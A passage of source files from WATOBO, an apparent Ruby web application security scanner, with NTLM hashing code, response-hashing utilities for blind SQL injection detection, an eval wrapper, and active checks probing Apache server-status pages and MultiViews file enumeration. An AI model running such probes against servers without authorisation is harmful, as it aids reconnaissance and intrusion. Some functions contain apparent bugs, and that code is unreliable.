FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY], :TYPE2 => FLAGS[:UNICODE], :TYPE3 => FLAGS[:UNICODE] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY] } class EncodeUtil if RUBY_VERSION == "1.8.7" require "kconv" # Decode a UTF16 string to a ASCII string # @param [String] str The string to convert def self.decode_utf16le(str) Kconv.kconv(swap16(str), Kconv::ASCII, Kconv::UTF16) end # Encodes a ASCII string to a UTF16 string # @param [String] str The string to convert def self.encode_utf16le(str) swap16(Kconv.kconv(str, Kconv::UTF16, Kconv::ASCII)) end # Taggle the strings endianness between big/little and little/big # @param [String] str The string to swap the endianness on def self.swap16(str) str.unpack("v*").pack("n*") end else # Use native 1.9 string encoding functions # Decode a UTF16 string to a ASCII string # @param [String] str The string to convert def self.decode_utf16le(str) str.encode(Encoding::UTF_8, Encoding::UTF_16LE).force_encoding('UTF-8') end # Encodes a ASCII string to a UTF16 string # @param [String] str The string to convert # @note This implementation may seem stupid but the problem is that UTF16-LE and UTF-8 are incompatiable # encodings. This library uses string contatination to build the packet bytes. The end result is that # you can either marshal the encodings elsewhere of simply know that each time you call encode_utf16le # the function will convert the string bytes to UTF-16LE and note the encoding as UTF-8 so that byte # concatination works seamlessly. def self.encode_utf16le(str) str = str.force_encoding('UTF-8') if [::Encoding::ASCII_8BIT,::Encoding::US_ASCII].include?(str.encoding) str.dup.force_encoding('UTF-8').encode(Encoding::UTF_16LE, Encoding::UTF_8).force_encoding('UTF-8') end end end class << self # Conver the value to a 64-Bit Little Endian Int # @param [String] val The string to convert def pack_int64le(val) [val & 0x00000000ffffffff, val >> 32].pack("V2") end # Builds an array of strings that are 7 characters long # @param [String] str The string to split # @api private def split7(str) s = str.dup until s.empty? (ret ||= []).push s.slice!(0, 7) end ret end # Not sure what this is doing # @param [String] str String to generate keys for # @api private def gen_keys(str) split7(str).map{ |str7| bits = split7(str7.unpack("B*")[0]).inject('')\ {|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s } [bits].pack("B*") } end def apply_des(plain, keys) dec = OpenSSL::Cipher::DES.new keys.map {|k| dec.key = k dec.encrypt.update(plain) } end # Generates a Lan Manager Hash # @param [String] password The password to base the hash on def lm_hash(password) keys = gen_keys password.upcase.ljust(14, "\0") apply_des(LM_MAGIC, keys).join end # Generate a NTLM Hash # @param [String] password The password to base the hash on # @option opt :unicode (false) Unicode encode the password def ntlm_hash(password, opt = {}) pwd = password.dup unless opt[:unicode] pwd = EncodeUtil.encode_utf16le(pwd) end OpenSSL::Digest::MD4.digest pwd end # Generate a NTLMv2 Hash # @param [String] user The username # @param [String] password The password # @param [String] target The domain or workstaiton to authenticate to # @option opt :unicode (false) Unicode encode the domain def ntlmv2_hash(user, password, target, opt={}) ntlmhash = ntlm_hash(password, opt) userdomain = (user + target).upcase unless opt[:unicode] userdomain = EncodeUtil.encode_utf16le(userdomain) end OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmhash, userdomain) end def lm_response(arg) begin hash = arg[:lm_hash] chal = arg[:challenge] rescue raise ArgumentError end chal = NTLM::pack_int64le(chal) if chal.is_a?(Integer) keys = gen_keys hash.ljust(21, "\0") apply_des(chal, keys).join end def ntlm_response(arg) hash = arg[:ntlm_hash] chal = arg[:challenge] chal = NTLM::pack_int64le(chal) if chal.is_a?(Integer) keys = gen_keys hash.ljust(21, "\0") apply_des(chal, keys).join end def ntlmv2_response(arg, opt = {}) begin key = arg[:ntlmv2_hash] chal = arg[:challenge] ti = arg[:target_info] rescue raise ArgumentError end chal = NTLM::pack_int64le(chal) if chal.is_a?(Integer) if opt[:client_challenge] cc = opt[:client_challenge] else cc = rand(MAX64) end cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer) if opt[:timestamp] ts = opt[:timestamp] else ts = Time.now.to_i end # epoch -> milsec from Jan 1, 1601 ts = 10000000 * (ts + TIME_OFFSET) blob = Blob.new blob.timestamp = ts blob.challenge = cc blob.target_info = ti bb = blob.serialize OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb end def lmv2_response(arg, opt = {}) key = arg[:ntlmv2_hash] chal = arg[:challenge] chal = NTLM::pack_int64le(chal) if chal.is_a?(Integer) if opt[:client_challenge] cc = opt[:client_challenge] else cc = rand(MAX64) end cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer) OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc end def ntlm2_session(arg, opt = {}) begin passwd_hash = arg[:ntlm_hash] chal = arg[:challenge] rescue raise ArgumentError end if opt[:client_challenge] cc = opt[:client_challenge] else cc = rand(MAX64) end cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer) keys = gen_keys passwd_hash.ljust(21, "\0") session_hash = OpenSSL::Digest::MD5.digest(chal + cc).slice(0, 8) response = apply_des(session_hash, keys).join [cc.ljust(24, "\0"), response] end end # base classes for primitives # @private class Field attr_accessor :active, :value def initialize(opts) @value = opts[:value] @active = opts[:active].nil? ? true : opts[:active] end def size @active ? @size : 0 end end class String < Field def initialize(opts) super(opts) @size = opts[:size] end def parse(str, offset=0) if @active and str.size >= offset + @size @value = str[offset, @size] @size else 0 end end def serialize if @active @value else "" end end def value=(val) @value = val @size = @value.nil? ? 0 : @value.size @active = (@size > 0) end end class Int16LE < Field def initialize(opt) super(opt) @size = 2 end def parse(str, offset=0) if @active and str.size >= offset + @size @value = str[offset, @size].unpack("v")[0] @size else 0 end end def serialize [@value].pack("v") end end class Int32LE < Field def initialize(opt) super(opt) @size = 4 end def parse(str, offset=0) if @active and str.size >= offset + @size @value = str.slice(offset, @size).unpack("V")[0] @size else 0 end end def serialize [@value].pack("V") if @active end end class Int64LE < Field def initialize(opt) super(opt) @size = 8 end def parse(str, offset=0) if @active and str.size >= offset + @size d, u = str.slice(offset, @size).unpack("V2") @value = (u * 0x100000000 + d) @size else 0 end end def serialize [@value & 0x00000000ffffffff, @value >> 32].pack("V2") if @active end end # base class of data structure class FieldSet class << FieldSet # @macro string_security_buffer # @method $1 # @method $1= # @return [String] def string(name, opts) add_field(name, String, opts) end # @macro int16le_security_buffer # @method $1 # @method $1= # @return [Int16LE] def int16LE(name, opts) add_field(name, Int16LE, opts) end # @macro int32le_security_buffer # @method $1 # @method $1= # @return [Int32LE] def int32LE(name, opts) add_field(name, Int32LE, opts) end # @macro int64le_security_buffer # @method $1 # @method $1= # @return [Int64] def int64LE(name, opts) add_field(name, Int64LE, opts) end # @macro security_buffer # @method $1 # @method $1= # @return [SecurityBuffer] def security_buffer(name, opts) add_field(name, SecurityBuffer, opts) end def prototypes @proto end def names @proto.map{|n, t, o| n} end def types @proto.map{|n, t, o| t} end def opts @proto.map{|n, t, o| o} end private def add_field(name, type, opts) (@proto ||= []).push [name, type, opts] define_accessor name end def define_accessor(name) module_eval(<<-End, __FILE__, __LINE__ + 1) def #{name} self['#{name}'].value end def #{name}=(val) self['#{name}'].value = val end End end end def initialize @alist = self.class.prototypes.map{ |n, t, o| [n, t.new(o)] } end def serialize @alist.map{|n, f| f.serialize }.join end def parse(str, offset=0) @alist.inject(offset){|cur, a| cur += a[1].parse(str, cur)} end def size @alist.inject(0){|sum, a| sum += a[1].size} end def [](name) a = @alist.assoc(name.to_s.intern) raise ArgumentError, "no such field: #{name}" unless a a[1] end def []=(name, val) a = @alist.assoc(name.to_s.intern) raise ArgumentError, "no such field: #{name}" unless a a[1] = val end def enable(name) self[name].active = true end def disable(name) self[name].active = false end end class Blob < FieldSet int32LE :blob_signature, {:value => BLOB_SIGN} int32LE :reserved, {:value => 0} int64LE :timestamp, {:value => 0} string :challenge, {:value => "", :size => 8} int32LE :unknown1, {:value => 0} string :target_info, {:value => "", :size => 0} int32LE :unknown2, {:value => 0} end class SecurityBuffer < FieldSet int16LE :length, {:value => 0} int16LE :allocated, {:value => 0} int32LE :offset, {:value => 0} attr_accessor :active def initialize(opts) super() @value = opts[:value] @active = opts[:active].nil? ? true : opts[:active] @size = 8 end def parse(str, offset=0) if @active and str.size >= offset + @size super(str, offset) @value = str[self.offset, self.length] @size else 0 end end def serialize super if @active end def value @value end def value=(val) @value = val self.length = self.allocated = val.size end def data_size @active ? @value.size : 0 end end # @private false class Message < FieldSet class << Message def parse(str) m = Type0.new m.parse(str) case m.type when 1 t = Type1.parse(str) when 2 t = Type2.parse(str) when 3 t = Type3.parse(str) else raise ArgumentError, "unknown type: #{m.type}" end t end def decode64(str) parse(Base64.decode64(str)) end end def has_flag?(flag) (self[:flag].value & FLAGS[flag]) == FLAGS[flag] end def set_flag(flag) self[:flag].value |= FLAGS[flag] end def dump_flags FLAG_KEYS.each{ |k| print(k, "=", flag?(k), "\n") } end def serialize deflag super + security_buffers.map{|n, f| f.value}.join end def encode64 Base64.encode64(serialize).gsub(/\n/, '') end def decode64(str) parse(Base64.decode64(str)) end alias head_size size def data_size security_buffers.inject(0){|sum, a| sum += a[1].data_size} end def size head_size + data_size end def security_buffers @alist.find_all{|n, f| f.instance_of?(SecurityBuffer)} end def deflag security_buffers.inject(head_size){|cur, a| a[1].offset = cur cur += a[1].data_size } end def data_edge security_buffers.map{ |n, f| f.active ? f.offset : size}.min end # sub class definitions class Type0 < Message string :sign, {:size => 8, :value => SSP_SIGN} int32LE :type, {:value => 0} end # @private false class Type1 < Message string :sign, {:size => 8, :value => SSP_SIGN} int32LE :type, {:value => 1} int32LE :flag, {:value => DEFAULT_FLAGS[:TYPE1] } security_buffer :domain, {:value => ""} security_buffer :workstation, {:value => Socket.gethostname } string :padding, {:size => 0, :value => "", :active => false } class << Type1 # Parses a Type 1 Message # @param [String] str A string containing Type 1 data # @return [Type1] The parsed Type 1 message def parse(str) t = new t.parse(str) t end end # @!visibility private def parse(str) super(str) enable(:domain) if has_flag?(:DOMAIN_SUPPLIED) enable(:workstation) if has_flag?(:WORKSTATION_SUPPLIED) super(str) if ( (len = data_edge - head_size) > 0) self.padding = "\0" * len super(str) end end end # @private false class Type2 < Message string :sign, {:size => 8, :value => SSP_SIGN} int32LE :type, {:value => 2} security_buffer :target_name, {:size => 0, :value => ""} int32LE :flag, {:value => DEFAULT_FLAGS[:TYPE2]} int64LE :challenge, {:value => 0} int64LE :context, {:value => 0, :active => false} security_buffer :target_info, {:value => "", :active => false} string :padding, {:size => 0, :value => "", :active => false } class << Type2 # Parse a Type 2 packet # @param [String] str A string containing Type 2 data # @return [Type2] def parse(str) t = new t.parse(str) t end end # @!visibility private def parse(str) super(str) if has_flag?(:TARGET_INFO) enable(:context) enable(:target_info) super(str) end if ( (len = data_edge - head_size) > 0) self.padding = "\0" * len super(str) end end # Generates a Type 3 response based on the Type 2 Information # @return [Type3] # @option arg [String] :username The username to authenticate with # @option arg [String] :password The user's password # @option arg [String] :domain ('') The domain to authenticate to # @option opt [String] :workstation (Socket.gethostname) The name of the calling workstation # @option opt [Boolean] :use_default_target (False) Use the domain supplied by the server in the Type 2 packet # @note An empty :domain option authenticates to the local machine. # @note The :use_default_target has presidence over the :domain option def response(arg, opt = {}) usr = arg[:user] pwd = arg[:password] domain = arg[:domain] ? arg[:domain] : "" if usr.nil? or pwd.nil? raise ArgumentError, "user and password have to be supplied" end if opt[:workstation] ws = opt[:workstation] else ws = Socket.gethostname end if opt[:client_challenge] cc = opt[:client_challenge] else cc = rand(MAX64) end cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer) opt[:client_challenge] = cc if has_flag?(:OEM) and opt[:unicode] usr = NTLM::EncodeUtil.decode_utf16le(usr) pwd = NTLM::EncodeUtil.decode_utf16le(pwd) ws = NTLM::EncodeUtil.decode_utf16le(ws) domain = NTLM::EncodeUtil.decode_utf16le(domain) opt[:unicode] = false end if has_flag?(:UNICODE) and !opt[:unicode] usr = NTLM::EncodeUtil.encode_utf16le(usr) pwd = NTLM::EncodeUtil.encode_utf16le(pwd) ws = NTLM::EncodeUtil.encode_utf16le(ws) domain = NTLM::EncodeUtil.encode_utf16le(domain) opt[:unicode] = true end if opt[:use_default_target] domain = self.target_name end ti = self.target_info chal = self[:challenge].serialize if opt[:ntlmv2] ar = {:ntlmv2_hash => NTLM::ntlmv2_hash(usr, pwd, domain, opt), :challenge => chal, :target_info => ti} lm_res = NTLM::lmv2_response(ar, opt) ntlm_res = NTLM::ntlmv2_response(ar, opt) elsif has_flag?(:NTLM2_KEY) ar = {:ntlm_hash => NTLM::ntlm_hash(pwd, opt), :challenge => chal} lm_res, ntlm_res = NTLM::ntlm2_session(ar, opt) else lm_res = NTLM::lm_response(pwd, chal) ntlm_res = NTLM::ntlm_response(pwd, chal) end Type3.create({ :lm_response => lm_res, :ntlm_response => ntlm_res, :domain => domain, :user => usr, :workstation => ws, :flag => self.flag }) end end # @private false class Type3 < Message string :sign, {:size => 8, :value => SSP_SIGN} int32LE :type, {:value => 3} security_buffer :lm_response, {:value => ""} security_buffer :ntlm_response, {:value => ""} security_buffer :domain, {:value => ""} security_buffer :user, {:value => ""} security_buffer :workstation, {:value => ""} security_buffer :session_key, {:value => "", :active => false } int64LE :flag, {:value => 0, :active => false } class << Type3 # Parse a Type 3 packet # @param [String] str A string containing Type 3 data # @return [Type2] def parse(str) t = new t.parse(str) t end # Builds a Type 3 packet # @note All options must be properly encoded with either unicode or oem encoding # @return [Type3] # @option arg [String] :lm_response The LM hash # @option arg [String] :ntlm_response The NTLM hash # @option arg [String] :domain The domain to authenticate to # @option arg [String] :workstation The name of the calling workstation # @option arg [String] :session_key The session key # @option arg [Integer] :flag Flags for the packet def create(arg, opt ={}) t = new t.lm_response = arg[:lm_response] t.ntlm_response = arg[:ntlm_response] t.domain = arg[:domain] t.user = arg[:user] if arg[:workstation] t.workstation = arg[:workstation] end if arg[:session_key] t.enable(:session_key) t.session_key = arg[session_key] end if arg[:flag] t.enable(:session_key) t.enable(:flag) t.flag = arg[:flag] end t end end end end end end watobo-1.0.1/lib/watobo/utils/print_debug.rb000066400000000000000000000003551366346341400210510ustar00rootroot00000000000000# @private module Watobo#:nodoc: all def self.print_debug(*m) fl = m.shift puts "#" puts "# #{fl} #" if m.length > 0 m.each do |l| puts l end puts "# " + "-"*fl.length + " #" end end endwatobo-1.0.1/lib/watobo/utils/response_builder.rb000066400000000000000000000041111366346341400221050ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils def self.string2response( text, opts = {} ) options = { :update_content_length => false } options.update opts begin hb_sep = "\r\n\r\n" eoh = text.index(hb_sep) if eoh.nil? hb_sep = "\n\n" eoh = text.index(hb_sep) end unless eoh.nil? raw_header = text[0..eoh-1] raw_body = text[eoh+hb_sep.length..-1] puts ">> RawBody: #{raw_body}" else raw_header = text raw_body = nil end response = raw_header.split("\n") response.map!{|r| "#{r.strip}\r\n" } # Watobo::Response.create response unless raw_body.nil? response << "\r\n" response << raw_body unless raw_body.strip.empty? end #return response return Watobo::Response.new(response) rescue => bang puts bang puts bang.backtrace end return nil end end end if $0 == __FILE__ inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "..")) $: << inc_path require 'watobo' text =<<'EOF' HTTP/1.1 200 OK Content-Type: text/html Vary: Accept-Encoding Expires: Thu, 19 Jul 2012 06:57:20 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 19 Jul 2012 06:57:20 GMT Content-Length: 203 Connection: close EOF text2 ="HTTP/1.1 200 OK\r\n" + "Content-Type: text/html\r\n" + "Vary: Accept-Encoding\r\n" + "Expires: Thu, 19 Jul 2012 06:57:20 GMT\r\n" + "Cache-Control: max-age=0, no-cache, no-store\r\n" + "Pragma: no-cache\r\n" + "Date: Thu, 19 Jul 2012 06:57:20 GMT\r\n" + "Content-Length: 203\r\n" + "Connection: close\r\n\r\n" + "\r\n" unless ARGV[0].nil? if File.exist? ARGV[0] text = File.open(ARGV[0],"rb").read end end r = Watobo::Utils.string2response text puts r.class puts r.status puts r.content_type puts r puts puts "=" puts r = Watobo::Utils.string2response text2 puts r.class puts r.status puts r.content_type puts r endwatobo-1.0.1/lib/watobo/utils/response_compare.rb000066400000000000000000000011001366346341400221000ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Utils # returns false if response are different def self.compare_responses(one, two) # compare return code #puts "[status] #{one.status} - #{two.status}" return false if one.status != two.status # compare http header count return false if one.headers.length != two.headers.length # compare body length # body is rated different if length differs by at least 10% return false if (one.body.length - two.body.length).abs > (one.body.length / 10) true end end end watobo-1.0.1/lib/watobo/utils/response_hash.rb000066400000000000000000000132031366346341400214040ustar00rootroot00000000000000require 'digest/md5' # @private module Watobo #:nodoc: all module Utils def self.ascii_regex(s) s.encode!('ASCII', :invalid => :replace, :undef => :replace) Regexp.quote s.unpack("C*").pack("C*") end # based on the following article a faster algorithm is choosen # http://blog.thecodingfrog.com/2009/06/performance-benchmark-of-crc32-md5-and.html # def self.response_checksum(request, response) begin body = response.to_s request.parameters.each do |parm| body.gsub!(/#{Regexp.quote(parm.name)}/, '') body.gsub!(/#{Regexp.quote(parm.value.to_s)}/, '') end # remove date format 01.02.2009 body.gsub!(/\d{1,2}\.\d{1,2}.\d{2,4}/, "") # remove date format 02/2009 body.gsub!(/\d{1,2}(.\|\/)d{2,4}/, "") #remove time body.gsub!(/\d{1,2}:\d{1,2}(:\d{1,2})?/, '') crc = "%.8X" % Zlib.crc32(body) return crc rescue => bang puts bang puts bang.backtrace if $DEBUG end return '' end # returns [Array] # array[0] contains the cleaned content (body) # array[1] contains the MD5 hash (hexdigest) def self.responseHash(request, response) begin if request.body and response.body then body = response.body.dup # remove all parm/value pairs request.get_parm_names.each do |p| body.gsub!(/#{ascii_regex(p)}/, '') body.gsub!(/#{ascii_regex(request.get_parm_value(p))}/, '') end request.post_parm_names.each do |p| body.gsub!(/#{Regexp.quote(p)}/, '') val = request.post_parm_value(p) body.gsub!(/#{Regexp.quote(val)}/, '') end # remove date format 01.02.2009 body.gsub!(/\d{1,2}\.\d{1,2}.\d{2,4}/, "") # remove date format 02/2009 body.gsub!(/\d{1,2}(.\|\/)d{2,4}/, "") #remove time body.gsub!(/\d{1,2}:\d{1,2}(:\d{1,2})?/, '') return body, Digest::MD5.hexdigest(body) elsif response.body then return body, Digest::MD5.hexdigest(response.body) end rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end def Utils.remove_string(data, remove) plain = "#{remove}" data.gsub!(/#{Regexp.quote(remove)}/, '') cgi_esc = CGI::unescape(p) data.gsub!(/#{Regexp.quote(cgi_esc)}/, '') end # smart hashes are necessary for blind sql injections tests # SmartHash means that all dynamic information is removed from the response before creating the hash value. # Dynamic information could be date&time as well as parameter names and theire valuse. def Utils.smartHash(orig_request, request, response) min_length = 4 begin if request and response.body then # puts response.content_type # puts charset body = response.body.dup #body.gsub!(/\P{ASCII}/, '') charset = response.charset unless charset.nil? begin body.encode!(charset, :invalid => :replace, :undef => :replace, :replace => '') rescue body = response.body.dup end end #body.encode!('ASCII', :invalid => :replace, :undef => :replace, :replace => '') #body.encode!('ISO-8859-1', :invalid => :replace, :undef => :replace, :replace => '') # remove possible chunk values body.gsub!(/\r\n[0-9a-fA-F]+\r\n/, '') # remove date format 01.02.2009 body.gsub!(/\d{1,2}\.\d{1,2}.\d{2,4}/, "") # remove date format 02/2009 body.gsub!(/\d{1,2}(.\|\/)d{2,4}/, "") #remove time body.gsub!(/\d{1,2}:\d{1,2}(:\d{1,2})?/, '') # remove all non-printables body.gsub!(/[^[:print:]]/, '') replace_items = [] request.get_parm_names.each do |p| replace_items << p if p.length >= min_length val = request.get_parm_value(p) replace_items << val if val.length >= min_length end request.post_parm_names.each do |p| replace_items << p if p.length >= min_length val = request.post_parm_value(p) replace_items << val if val.length >= min_length end orig_request.get_parm_names.each do |p| replace_items << p if (p.length >= min_length) val = orig_request.get_parm_value(p) replace_items << val if (val.length >= min_length) end orig_request.post_parm_names.each do |p| replace_items << p if p.length >= min_length val = orig_request.post_parm_value(p) replace_items << val if val.length >= min_length end replace_items.uniq.sort.each do |p| body.gsub!(/#{ascii_regex(p)}/, '') body.gsub!(/#{ascii_regex(CGI::unescape(p))}/, '') end md5 = Digest::MD5.hexdigest(body) #puts md5 return body, md5 else # no response body. create hash from header unless response.respond_to? :removeHeader Watobo::Response.create response end response.removeHeader("Date") response.removeHeader("Set-Cookie") return response, Digest::MD5.hexdigest(response.join) end rescue => bang # puts "VAL_CGI_Q: #{val_cgi_q}" # return some random hash in case of an error puts bang if $DEBUG puts bang.backtrace if $DEBUG return body, Digest::MD5.hexdigest(Time.now.to_f.to_s + rand(10000).to_s) end end end endwatobo-1.0.1/lib/watobo/utils/secure_eval.rb000066400000000000000000000015601366346341400210430ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils def Utils.secure_eval(exp) result = nil t = Thread.new(exp) { |e| e.untaint $SAFE = 0 # $SAFE = 3 # no longer supported since ruby 2.3 # $SAFE = 4 # no longer supported since ruby 2.1.x begin result = eval(e) rescue SyntaxError => bang puts bang puts bang.backtrace if $DEBUG rescue LocalJumpError => bang puts bang puts bang.backtrace if $DEBUG rescue SecurityError => bang puts "WARNING: Desired functionality forbidden. it may harm your system!" puts bang.backtrace if $DEBUG rescue => bang puts bang puts bang.backtrace if $DEBUG end } t.join return result end end end watobo-1.0.1/lib/watobo/utils/strings.rb000066400000000000000000000005511366346341400202360ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils def self.camelcase(string) string.strip.gsub(/[^[a-zA-Z\-_]]/,"").gsub( "-" , "_").split("_").map{ |s| s.downcase.capitalize }.join end def self.snakecase(string) string.gsub(/([A-Z])([A-Z][a-z])/, '\1_\2').gsub(/([a-z\d])([A-Z])/, '\1_\2').tr("-","_").downcase end end endwatobo-1.0.1/lib/watobo/utils/text2request.rb000066400000000000000000000041601366346341400212240ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Utils def Utils.text2request(text) result = [] return result if text.strip.empty? # UTF-8 CleanUp text = text.unpack("C*").pack("C*") eoh = nil body_sep = '' ["\n\n", "\r\n\r\n"].each do |bs| next unless eoh.nil? body_sep = bs eoh = text.index(body_sep) end unless eoh.nil? header = text.slice(0, eoh).split("\n").map {|h| "#{h.strip}\r\n"} body = text.slice(eoh + body_sep.length, text.length - 1) else header = text.split(/\n/).map {|h| "#{h}\r\n"} body = nil end header.each do |h| result.push "#{h.strip}\r\n" end result = Watobo::Request.new result ct = result.content_type # last line is without "\r\n" if text has a body if ct =~ /multipart\/form/ and body then #Content-Type: multipart/form-data; boundary=---------------------------3035221901842 if ct =~ /boundary=([\-\w]+)/ boundary = $1.strip chunks = body.split(boundary) e = chunks.pop # remove "--" new_body = [] chunks.each do |c| new_chunk = '' c.gsub!(/[\-]+$/, '') next if c.nil? next if c.strip.empty? c.strip! if c =~ /\n\n/ ctmp = c.split(/\n\n/) cheader = ctmp.shift.split(/\n/) cbody = ctmp.join("\n\n") else cheader = c.split(/\n/) cbody = nil end new_chunk = cheader.join("\r\n") new_chunk += "\r\n\r\n" new_chunk += cbody.strip + "\r\n" if cbody # puts cbody new_body.push new_chunk end body = "--#{boundary}\r\n" body += new_body.join("--#{boundary}\r\n") body += "--#{boundary}--" end # body.gsub!(/\n/, "\r\n") if body end if body then result.push "\r\n" result.push body.strip end return result end end end if __FILE__ == $0 # TODO Generated stub end watobo-1.0.1/lib/watobo/utils/url.rb000066400000000000000000000011771366346341400173540ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Utils module URL def self.create_url(chat, path) url = path # only expand path if not url unless path =~ /^http/ # check if path is absolute if path =~ /^\// url = File.join("#{chat.request.proto}://#{chat.request.host}", path) else # it's relative url = File.join(File.dirname(chat.request.url.to_s), path) end end # resolve path traversals while url =~ /(\/[^\.\/]*\/\.\.\/)/ url.gsub!( $1,"/") end url end end end endwatobo-1.0.1/lib/watobo/utils/utf16.rb000066400000000000000000000007351366346341400175160ustar00rootroot00000000000000module Watobo module UTF16 def self.decode_utf16le(str) str.force_encoding(Encoding::UTF_16LE) str.encode(Encoding::UTF_8, Encoding::UTF_16LE).force_encoding('UTF-8') end def self.encode_utf16le(str) str = str.force_encoding('UTF-8') if [::Encoding::ASCII_8BIT,::Encoding::US_ASCII].include?(str.encoding) str.dup.force_encoding('UTF-8').encode(Encoding::UTF_16LE, Encoding::UTF_8).force_encoding('UTF-8') end end endwatobo-1.0.1/modules/000077500000000000000000000000001366346341400144665ustar00rootroot00000000000000watobo-1.0.1/modules/active/000077500000000000000000000000001366346341400157415ustar00rootroot00000000000000watobo-1.0.1/modules/active/Apache/000077500000000000000000000000001366346341400171225ustar00rootroot00000000000000watobo-1.0.1/modules/active/Apache/mod_status.rb000066400000000000000000000120241366346341400216300ustar00rootroot00000000000000# . # mod_status.rb # # Copyright 2010 by it.sec, http://www.www.it-sec.de # # This file is part of WATOBO (Web Application Tool Box) # http://watobo.sourceforge.com # # WATOBO is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation version 2 of the License. # # WATOBO is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with WATOBO; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # . # @private module Watobo#:nodoc: all module Modules module Active module Apache class Mod_status < Watobo::ActiveCheck @info.update( :check_name => 'Server-Status page', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Check for status page created by mod_status", # description of checkfunction :author => "Hans-Martin Muench", # author of check :check_group => AC_GROUP_APACHE, :version => "0.1" # check version ) @finding.update( :class => "Information disclosure", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :measure => "Disable the mod_status module or restrict the access to the status page", :threat => "The result page of the mod-status module is accessible without authentication. This page contains information about the server activity and performance" ) def reset() @checked_sites.clear end def initialize(project, prefs={}) super(project, prefs) @status_checks = ['/server-status/', '/server_status/', '/serverstatus/', '/mod-status/', '/mod_status/', '/modstatus', 'status'] @checked_sites = Hash.new end def generateChecks(chat) if not @checked_sites.has_key?(chat.request.site) @checked_sites[chat.request.site] = :checked @status_checks.each do |status_path| checker = proc { test_request = nil test_response = nil # IMPORTANT!!! # use copyRequest(chat) for cloning the original request test = chat.copyRequest test.setDir(status_path) status, test_request, test_response = fileExists?(test, :default => true) if test_response.status =~ /200/ and test_response.join =~ /Apache Server Status for/i then addFinding( test_request, test_response, :check_pattern => "#{status_path}", :proof_pattern => "Apache Server Status for", :test_item => status_path, :chat => chat, :title => "[Server] - Server-Status page", :rating => VULN_RATING_LOW ) elsif test_response.status =~ /403/ then addFinding( test_request, test_response, :threat => "Mod-status is installed but access is denied", :measure => "Disable the mod_status module if not needed", :check_pattern => "#{status_path}", :proof_pattern => "403 Forbidden", :test_item => status_path, :type => FINDING_TYPE_INFO, :class => "Information", :chat => chat, :title => "[Server] - Server-Status page", :rating => VULN_RATING_LOW ) elsif test_response.status =~ /401/ then addFinding( test_request, test_response, :threat => "Mod-status is installed but access is password protected", :measure => "Disable the mod_status module if not needed", :check_pattern => "#{status_path}", :proof_pattern => "401 Unauthorized", :test_item => status_path, :type => FINDING_TYPE_HINT, :class => "Information", :chat => chat, :title => "[Server] - Server-Status page", :rating => VULN_RATING_LOW ) end [ test_request, test_response ] } yield checker end end end end end end end end watobo-1.0.1/modules/active/Apache/multiview.rb000066400000000000000000000134031366346341400214750ustar00rootroot00000000000000=begin http://www.wisec.it/sectou.php?id=4698ebdc59d15 $ curl -i -H "Negotiate: watobo" http://192.168.70.134/index HTTP/1.1 406 Not Acceptable Date: Fri, 24 Jan 2014 08:46:35 GMT Server: Apache/2.2.22 (Debian) Alternates: {"index.bak" 1 {type application/x-trash} {length 0}}, {"index.html" 1 {type text/html} {length 177}}, {"index.tgz" 1 {type application/x-gzip} {length 0}} Vary: negotiate,accept,Accept-Encoding TCN: list Content-Length: 568 Content-Type: text/html; charset=iso-8859-1 406 Not Acceptable

Not Acceptable

An appropriate representation of the requested resource /index could not be found on this server.

Available variants:
Apache/2.2.22 (Debian) Server at 192.168.70.134 Port 80
=end # @private module Watobo#:nodoc: all module Modules module Active module Apache class Multiview < Watobo::ActiveCheck @@tested_paths = [] details =< 406 Not Acceptable

Not Acceptable

An appropriate representation of the requested resource /index could not be found on this server.

Available variants:
Apache/2.2.22 (Debian) Server at 192.168.70.134 Port 80
EOD @info.update( :check_name => 'MultiViews', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks if MultiViews option is present in Apache. See http://www.wisec.it/sectou.php?id=4698ebdc59d15", # description of checkfunction :author => "Andreas Schmidt", # author of check :check_group => AC_GROUP_APACHE, :version => "1.0" # check version ) @finding.update( :threat => 'Makes enumeration of backup or renamed files easier. see also http://www.wisec.it/sectou.php?id=4698ebdc59d15', # thread of vulnerability, e.g. loss of information :class => "MultiViews", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :rating => VULN_RATING_INFO, :measure => "Disable MultiViews in your Apache configuration.", :details => details, :type => FINDING_TYPE_VULN # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(session_name=nil, prefs={}) # @project = project super(session_name, prefs) # @tested_directories = Hash.new @fext = %w( php asp aspx jsp cfm shtm htm html shml ) end def reset() @@tested_paths.clear end def generateChecks(chat) begin file = chat.request.file return nil if @@tested_paths.include? file @@tested_paths << file if file != "" and file =~ 